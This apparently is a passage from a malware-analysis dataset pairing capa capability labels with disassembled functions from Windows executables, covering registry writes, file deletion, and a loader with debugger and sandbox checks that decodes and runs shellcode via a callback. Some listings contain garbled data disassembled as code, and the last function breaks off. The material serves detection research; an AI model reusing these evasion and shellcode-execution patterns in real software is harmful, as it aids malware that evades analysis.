joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011430
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x70
mov rsi, rcx
mov qword [rsp + 0x48], rcx
xor ebp, ebp
mov qword [rcx], rbp
mov qword [rcx + 8], rbp
lea ecx, [rbp + 0x58]
call fcn.140021914
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsi], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea r8, str.JSON
lea edx, [rbp + 0x66]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], 0xf
mov byte [rsp + 0x28], bpl
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400114c2
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.14000ca90
nop
mov r8b, 1
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x58]
call fcn.140017ddc
nop
mov rcx, rax
call fcn.1400177c4
mov r15, rax
cmp rsi, rax
je 0x1400115e0
mov r14, qword [rsi]
mov rdi, qword [r14 + 8]
cmp byte [rdi + 0x19], 0
jne 0x140011543
nop
mov r8, qword [rdi + 0x10]
mov rdx, rsi
mov rcx, rsi
call fcn.14000ec30
mov rbx, rdi
mov rdi, qword [rdi]
lea rcx, [rbx + 0x20]
call fcn.14000ede0
nop
mov edx, 0x58
mov rcx, rbx
call fcn.140021950
nop
cmp byte [rdi + 0x19], 0
je 0x140011510
mov qword [r14 + 8], r14
mov qword [r14], r14
mov qword [r14 + 0x10], r14
mov qword [rsi + 8], rbp
mov rdx, qword [r15]
movzx r9d, byte [rsp + 0x20]
mov r8, qword [rsi]
mov rdx, qword [rdx + 8]
mov rcx, rsi
call fcn.140011270
mov rcx, rax
mov rax, qword [rsi]
mov qword [rax + 8], rcx
mov rax, qword [r15 + 8]
mov qword [rsi + 8], rax
mov r8, qword [rsi]
mov rdx, qword [r8 + 8]
cmp byte [rdx + 0x19], 0
jne 0x1400115d6
mov rcx, qword [rdx]
cmp byte [rcx + 0x19], 0
jne 0x1400115af
nop dword [rax]
nop word [rax + rax]
mov rdx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x1400115a0
mov qword [r8], rdx
mov rdx, qword [rsi]
mov rcx, qword [rdx + 8]
mov rax, qword [rcx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x1400115d0
mov rcx, rax
mov rax, qword [rax + 0x10]
cmp byte [rax + 0x19], 0
je 0x1400115c3
mov qword [rdx + 0x10], rcx
jmp 0x1400115e0
mov qword [r8], r8
mov rax, qword [rsi]
mov qword [rax + 0x10], rax
lea rcx, [rsp + 0x58]
call fcn.14000eee0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x140011625
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001161f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011642
call fcn.140021950
nop
mov rax, rsi
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
call fcn.140029498
nop
int3
Function at 0x1400121b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov r14, rdx
mov esi, ecx
xor r12d, r12d
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r12
mov r13, qword [0x14005a0b8]
lea rbx, [0x14005a0a8]
cmp qword [0x14005a0c0], 8
cmovae rbx, qword [0x14005a0a8]
cmp r13, 8
jae 0x14001222d
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x38], xmm0
lea r15d, [r12 + 7]
jmp 0x14001226b
mov r15, r13
or r15, 7
movabs rax, 0x7ffffffffffffffe
cmp r15, rax
cmova r15, rax
lea rdx, [r15 + 1]
lea rcx, [rsp + 0x38]
call fcn.14000c990
mov qword [rsp + 0x38], rax
lea r8, [r13*2 + 2]
mov rdx, rbx
mov rcx, rax
call fcn.140023d80
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r13
mov rax, r15
sub rax, r13
cmp rax, 0x1e
jb 0x1400122b6
lea rdi, [r13 + 0x1e]
mov qword [rsp + 0x48], rdi
lea rbx, [rsp + 0x38]
cmp r15, 8
cmovae rbx, qword [rsp + 0x38]
lea rcx, [rbx + r13*2]
mov r8d, 0x3c
lea rdx, str.IgnoreWebResourceInstallErrors
call fcn.140023d80
mov word [rbx + rdi*2], r12w
jmp 0x1400122d7
mov qword [rsp + 0x20], 0x1e
lea r9, str.IgnoreWebResourceInstallErrors
xor r8d, r8d
lea edx, [r8 + 0x1e]
lea rcx, [rsp + 0x38]
call fcn.14000ec90
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x60]
call fcn.140024430
mov dword [rsp + 0x58], 0x208
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rdx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140012371
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140012371
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp word [rsp + 0x60], 0x31
jne 0x140012371
cmp word [rsp + 0x62], 0
jne 0x140012371
mov esi, r12d
jmp 0x140012381
cmp qword [r14 + 0x10], 0
je 0x140012381
mov rcx, r14
call fcn.140013020
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x1400123c0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400123ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400123f2
call fcn.140021950
nop
mov eax, esi
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.1400218f0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140029498
nop
int3
Function at 0x140012400
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x60
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor esi, esi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov rbp, qword [0x14005a0b8]
lea rbx, [0x14005a0a8]
cmp qword [0x14005a0c0], 8
cmovae rbx, qword [0x14005a0a8]
cmp rbp, 8
jae 0x140012467
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x38], xmm0
lea r14d, [rsi + 7]
jmp 0x1400124a5
mov r14, rbp
or r14, 7
movabs rax, 0x7ffffffffffffffe
cmp r14, rax
cmova r14, rax
lea rdx, [r14 + 1]
lea rcx, [rsp + 0x38]
call fcn.14000c990
mov qword [rsp + 0x38], rax
lea r8, [rbp*2 + 2]
mov rdx, rbx
mov rcx, rax
call fcn.140023d80
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], rbp
mov rax, r14
sub rax, rbp
cmp rax, 0xb
jb 0x1400124ef
lea rdi, [rbp + 0xb]
mov qword [rsp + 0x48], rdi
lea rbx, [rsp + 0x38]
cmp r14, 8
cmovae rbx, qword [rsp + 0x38]
lea rcx, [rbx + rbp*2]
mov r8d, 0x16
lea rdx, str.WebResource
call fcn.140023d80
mov word [rbx + rdi*2], si
jmp 0x140012510
mov qword [rsp + 0x20], 0xb
lea r9, str.WebResource
xor r8d, r8d
lea edx, [r8 + 0xb]
lea rcx, [rsp + 0x38]
call fcn.14000ec90
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rdx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov ebx, 1
mov r9d, ebx
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001256a
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rdx, qword [rsp + 0x38]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
test eax, eax
cmove esi, ebx
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x1400125a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400125a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400125d3
call fcn.140021950
nop
mov eax, esi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400218f0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
call fcn.140029498
nop
int3
Function at 0x140013570
Capabilities:
Delete file

Disassembly:
cmp qword [rcx + 0x18], 8
jb switch.0x14001357a
mov rcx, qword [rcx]
jmp qword [sym.imp.KERNEL32.dll_DeleteFileW]
movabs byte [0x9b6c5f268a5b9e3c], al
test eax, 0x6c1cde86
invalid
retf 0x2711
sub al, byte [rdx]
invalid
sub al, 0x83
invalid
add edi, ecx
mov dl, 0x6f
mov esi, 0xf11bdcdb
mov esp, 0x4cad5ce3
wait
idiv byte [rbx - 0x12b1c1]
invalid
out dx, al
mov ebx, 0xb494af8d
xchg ebx, eax
invalid
invalid
cld
mov esi, 0xfd01a90d
invalid
int3

Function at 0x140013590
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push rbx
sub rsp, 0x20
cmp qword [rcx + 0x18], 8
mov rbx, rcx
jb 0x1400135a3
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400135bd
test al, 0x10
je 0x1400135bd
mov eax, 1
add rsp, 0x20
pop rbx
ret
cmp qword [rbx + 0x18], 8
jb case.default.0x1400135d1
mov rbx, qword [rbx]
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dl, 0xc7
invalid
pop rdx
xor al, 0x31
xor dword [rax - 0x38], ebp
invalid
stosd dword [rdi], eax
invalid
xchg ebp, eax
test eax, 0x2a3bf62a
cmp ebp, dword [rdx]
cmp ebp, dword [rdx]
sbb ecx, dword [rbp - 0x5fe8a694]
invalid
or ebp, ebx
insb byte [rdi], dx
mov edx, 0xf80b047
mov al, 0x80
pmulhuw mm2, qword [rdi + rdi*2]
invalid
insb byte [rdi], dx
invalid
cmp dword [rbx], ebp
enter 0xffffffffffffae0f, 0xfffffffffffffff2
scasb al, byte [rdi]
repne cmpsd dword [rsi], dword [rdi]
leave
mov bh, 0x2c
int1
pop rax
sub cl, dh
xor esp, edi
invalid
movabs al, byte ds:[0x88e62640f56970d5]
out 0x88, al
push rdi
scasd eax, dword [rdi]
jb 0x14009b916
outsb dx, byte [rsi]
sbb ecx, eax
lahf
sti
cmp al, bh
rcr dword [rdi - 0x38c504c2], 0xea
movabs dword [0x6795006fcc9c4d0], eax
rol ah, 1
leave
cld
invalid
push rax
jns 0x14009b92c
stc
scasb al, byte [rdi]
push 0x3d060e93
cmp al, 0x4f
cmp cl, dh
xor dword [rdi - 8], ebx
and bh, cl
iretd
jge case.0x1400135d1.4
invalid
jo 0x14009b97c
loop 0x14009b959
or byte [rax], r11b
push 0x6a
invalid
pop rcx
invalid
loope 0x14009b9c1
in al, dx
cmp eax, dword [0x1378020ec]
jbe 0x14009b975
xchg ebx, eax
invalid
mov ch, 0xf9
invalid
invalid
invalid

Function at 0x1400135e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
cmp qword [rcx + 0x18], 8
jb 0x1400135ee
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140013607
test al, 0x10
jne 0x140013607
mov eax, 1
add rsp, 0x28
ret
xor eax, eax
add rsp, 0x28
ret
Function at 0x140013f70
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rbx, rdx
mov rsi, rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov dword [rsp + 0x30], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
lea edx, [rdi + 0x10]
lea rcx, [rsp + 0x60]
call sub.ADVAPI32.dll_SystemFunction036
mov rdx, rbx
mov rcx, rsi
call fcn.140012080
mov dword [rsp + 0x30], 1
mov rdx, qword [rsi + 0x10]
mov r8, qword [rsi + 0x18]
mov rax, r8
sub rax, rdx
cmp rax, 1
jb 0x140014003
lea rcx, [rdx + 1]
mov qword [rsi + 0x10], rcx
mov rax, rsi
cmp r8, 8
jb 0x140013ff2
mov rax, qword [rsi]
mov r8d, 0x5c
mov word [rax + rdx*2], r8w
mov word [rax + rcx*2], di
jmp 0x140014022
mov qword [rsp + 0x20], 1
lea r9, [0x140042f7c]
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rsi
call fcn.14000ec90
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], di
xor r8d, r8d
lea rdx, [0x14004311c]
lea rcx, [rsp + 0x40]
call fcn.14000cbf0
nop
nop word [rax + rax]
movzx ecx, byte [rsp + rdi + 0x60]
mov eax, 0x4ec4ec4f
mul ecx
shr edx, 3
imul eax, edx, 0x1a
sub ecx, eax
add cl, 0x41
movsx edx, cl
lea rcx, [rsp + 0x40]
call fcn.140015d10
inc rdi
cmp rdi, 0x10
jl 0x140014050
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, rsi
call fcn.140015270
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400140db
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400140d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014100
call fcn.140021950
nop
mov rax, rsi
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400218f0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140029498
int3
Function at 0x140014a60
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor esi, esi
mov qword [rbp + 0x2f], rsi
mov qword [rbp + 0x37], rsi
mov r14, qword [0x14005a0b8]
lea rdi, [0x14005a0a8]
cmp qword [0x14005a0c0], 8
cmovae rdi, qword [0x14005a0a8]
cmp r14, 8
jae 0x140014ace
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x1f], xmm0
mov qword [rbp + 0x37], 7
jmp 0x140014b0e
mov rbx, r14
or rbx, 7
movabs rax, 0x7ffffffffffffffe
cmp rbx, rax
cmova rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp + 0x1f]
call fcn.14000c990
mov qword [rbp + 0x1f], rax
lea r8, [r14*2 + 2]
mov rdx, rdi
mov rcx, rax
call fcn.140023d80
mov qword [rbp + 0x37], rbx
mov qword [rbp + 0x2f], r14
xor ecx, ecx
call fcn.14002bb10
mov rcx, rax
call fcn.14002baf8
call fcn.14002bacc
mov ecx, eax
mov eax, 0x68db8bad
imul ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2710
sub ecx, eax
inc ecx
mov dword [rbp + 0x3f], ecx
mov rcx, qword [rbp + 0x2f]
mov rdx, qword [rbp + 0x37]
mov rax, rdx
sub rax, rcx
cmp rax, 0xb
jb 0x140014b8b
lea rdi, [rcx + 0xb]
mov qword [rbp + 0x2f], rdi
lea rbx, [rbp + 0x1f]
cmp rdx, 8
cmovae rbx, qword [rbp + 0x1f]
lea rcx, [rbx + rcx*2]
mov r8d, 0x16
lea rdx, str.WebResource
call fcn.140023d80
mov word [rbx + rdi*2], si
jmp 0x140014bab
mov qword [rsp + 0x20], 0xb
lea r9, str.WebResource
xor r8d, r8d
lea edx, [r8 + 0xb]
lea rcx, [rbp + 0x1f]
call fcn.14000ec90
lea rdx, [rbp + 0x1f]
cmp qword [rbp + 0x37], 8
cmovae rdx, qword [rbp + 0x1f]
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x17]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140014c35
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x3f]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.irandom
mov rcx, qword [rbp + 0x17]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x17]
test eax, eax
je 0x140014c2a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140014c35
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, 1
mov rdx, qword [rbp + 0x37]
cmp rdx, 8
jb 0x140014c72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014c6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014c9d
call fcn.140021950
nop
mov eax, esi
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400218f0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140029498
nop
int3
Function at 0x140014ec0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbx, rcx
xor r12d, r12d
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
mov rbp, qword [0x14005a0b8]
lea rdi, [0x14005a0a8]
cmp qword [0x14005a0c0], 8
cmovae rdi, qword [0x14005a0a8]
cmp rbp, 8
jae 0x140014f2b
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x58], xmm0
lea esi, [r12 + 7]
jmp 0x140014f69
mov rsi, rbp
or rsi, 7
movabs rax, 0x7ffffffffffffffe
cmp rsi, rax
cmova rsi, rax
lea rdx, [rsi + 1]
lea rcx, [rsp + 0x58]
call fcn.14000c990
mov qword [rsp + 0x58], rax
lea r8, [rbp*2 + 2]
mov rdx, rdi
mov rcx, rax
call fcn.140023d80
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x68], rbp
mov r15, rbx
cmp qword [rbx + 0x18], 8
jb 0x140014f80
mov r15, qword [rbx]
mov r14d, dword [rbx + 0x10]
add r14d, r14d
mov rax, rsi
sub rax, rbp
cmp rax, 0xb
jb 0x140014fc8
lea rdi, [rbp + 0xb]
mov qword [rsp + 0x68], rdi
lea rbx, [rsp + 0x58]
cmp rsi, 8
cmovae rbx, qword [rsp + 0x58]
lea rcx, [rbx + rbp*2]
mov r8d, 0x16
lea rdx, str.WebResource
call fcn.140023d80
mov word [rbx + rdi*2], r12w
jmp 0x140014fe9
mov qword [rsp + 0x20], 0xb
lea r9, str.WebResource
xor r8d, r8d
lea edx, [r8 + 0xb]
lea rcx, [rsp + 0x58]
call fcn.14000ec90
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdx, qword [rsp + 0x58]
mov qword [rsp + 0x40], r12
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140015068
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r15
mov ebx, 1
mov r9d, ebx
xor r8d, r8d
lea rdx, str.tWebResourceInstallPath
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x1400150d5
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, r12d
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x1400150aa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400150a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400150de
call fcn.140021950
nop
mov eax, ebx
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400218f0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x14001506b
call fcn.140029498
int3
Function at 0x140015af0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor esi, esi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rsi
mov r14, qword [0x14005a0b8]
lea rbx, [0x14005a0a8]
cmp qword [0x14005a0c0], 8
cmovae rbx, qword [0x14005a0a8]
cmp r14, 8
jae 0x140015b62
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x38], xmm0
lea r15d, [rsi + 7]
jmp 0x140015ba0
mov r15, r14
or r15, 7
movabs rax, 0x7ffffffffffffffe
cmp r15, rax
cmova r15, rax
lea rdx, [r15 + 1]
lea rcx, [rsp + 0x38]
call fcn.14000c990
mov qword [rsp + 0x38], rax
lea r8, [r14*2 + 2]
mov rdx, rbx
mov rcx, rax
call fcn.140023d80
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r14
mov rax, r15
sub rax, r14
cmp rax, 0xb
jb 0x140015bea
lea rdi, [r14 + 0xb]
mov qword [rsp + 0x48], rdi
lea rbx, [rsp + 0x38]
cmp r15, 8
cmovae rbx, qword [rsp + 0x38]
lea rcx, [rbx + r14*2]
mov r8d, 0x16
lea rdx, str.WebResource
call fcn.140023d80
mov word [rbx + rdi*2], si
jmp 0x140015c0b
mov qword [rsp + 0x20], 0xb
lea r9, str.WebResource
xor r8d, r8d
lea edx, [r8 + 0xb]
lea rcx, [rsp + 0x38]
call fcn.14000ec90
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x60]
call fcn.140024430
mov dword [rsp + 0x58], 0x208
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rdx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov ebx, 1
mov r9d, ebx
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140015c99
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.irandom
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
cmove esi, ebx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x140015cd8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015cd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015d06
call fcn.140021950
nop
mov eax, esi
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.1400218f0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140029498
nop
int3
Function at 0x140001000
Capabilities:
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push rdi
sub rsp, 0x280
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x140001036
jmp 0x1400010a4
mov dword [rsp + 0x30], 0x238
lea rax, [rsp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 0
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
mov dword [rsp + 0x24], eax
jmp 0x14000107f
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
je 0x140001092
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
jmp 0x14000106c
cmp dword [rsp + 0x20], 0x3c
jg 0x1400010a4
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140001620
add rsp, 0x280
pop rdi
ret

Function at 0x1400010c0
Capabilities:
Check for debugger via api

Disassembly:
sub rsp, 0x38
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001620
add rsp, 0x38
ret
Function at 0x14000114c
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push rsi
push rdi
sub rsp, 0x768
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x750], rax
call section..text
call fcn.1400010c0
test eax, eax
je 0x140001180
mov eax, 1
jmp 0x140001275
lea rax, [rsp + 0x3d0]
lea rcx, [0x140003270]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37e
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x40]
lea rcx, str.123____
mov rdi, rax
mov rsi, rcx
mov ecx, 9
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x20], 0
jmp 0x1400011d7
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
cmp rax, 0x37e
